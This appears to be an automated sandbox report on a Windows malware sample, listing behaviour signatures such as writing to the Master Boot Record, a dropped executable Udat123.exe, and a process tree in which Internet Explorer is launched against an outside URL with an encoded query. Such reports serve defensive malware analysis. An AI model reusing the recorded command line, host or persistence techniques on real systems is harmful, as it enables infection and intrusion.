Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
19/10/2024, 15:13
General
- Target 5d3f0ccaeb05b8c2e5d82c3e867d0891_JaffaCakes118.exe
- Size 100KB
- Sample241019-slxttsvbkp
- SHA256 c158ddb0145084492cc09dd8cd8344239b6f619b6873346d65f053f52631993c
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in Windows directory 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 37 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\5d3f0ccaeb05b8c2e5d82c3e867d0891_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\5d3f0ccaeb05b8c2e5d82c3e867d0891_JaffaCakes118.exe"1⤵
- Writes to the Master Boot Record (MBR)
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\Udat123.exeC:\Windows\Udat123.exe auto2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
-
C:\progra~1\Intern~1\iexplore.exeC:\\progra~1\\Intern~1\\iexplore.exe http://jianqiang-zhe.com/AddSetup.asp?57;€67657<<485:9€7€5435=36468$7>57>77$TQ€<:2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2136 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
suggestions[1].en-US
Udat123.exe
memory/676-0-0x0000000000400000-0x000000000041A000-memory.dmp
memory/2136-30-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-25-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-23-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-27-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-35-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-41-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-42-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-44-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-50-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-51-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-49-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-45-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-43-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-40-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-39-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-38-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-37-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-28-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-31-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-19-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-17-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-29-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-33-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-22-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-21-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-20-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-16-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-15-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-14-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-52-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-53-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-58-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-64-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-65-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-70-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-66-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-68-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-67-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-71-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-75-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-18-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-12-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp
memory/2136-11-0x00007FFC1D160000-0x00007FFC1D1CE000-memory.dmp